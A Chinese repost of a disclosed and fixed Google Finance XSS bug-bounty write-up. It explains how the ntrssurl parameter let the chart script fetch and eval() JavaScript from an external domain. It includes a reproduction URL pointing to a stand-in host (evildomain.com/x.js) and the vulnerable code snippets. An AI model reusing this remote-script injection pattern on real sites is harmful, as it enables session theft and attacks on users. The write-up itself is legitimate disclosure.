来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 7月30日看到 Michele Spagnuolo 发的博文称他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。 以下是Michele 博文的译文。这个...
|
7月30日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。
这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe-opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。 这个过程不需要用户交互,只要点击一下URL就可以了。 复现步骤:1)点击该URL(目前已修复): https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js. 文件x.js包含下列验证代码用来演示: 该文件必须通过https来托管。
2)远程Javascript被执行。
工作原理以下是 /finance/f/sfe-opt.js中的两个代码片段,它们引起了这个安全问题。
c.push("ntsp=");
c.push(b);
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("")
在上面这段代码中,URL参数,更确切的说是ntrssurl参数(用户RSS源的地址)被获取并进行了连接。
Xi.prototype.send = function (a, b, c, d) {
a = a || null;
d = d || "_" + (Yi++).toString(36) + x().toString(36);
n._callbacks_ || (n._callbacks_ = {});
var e = this.$s.Z();
if (a)
for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]);
b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d));
b = Wi(e.toString(), {
timeout: this.We,
Ns: !0
});
Si(b, null, $i(d, a, c), void 0);
return {
La: d,
Du: b
}
};
第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。 它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。 然后,返回了一段简单的Javascript代码,并且通过eval()方法将其执行。
有漏洞的代码片段 这个安全隐患很快就被修复了,我因此得到了5000美元的奖励。 非常感谢,Google安全小组! |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com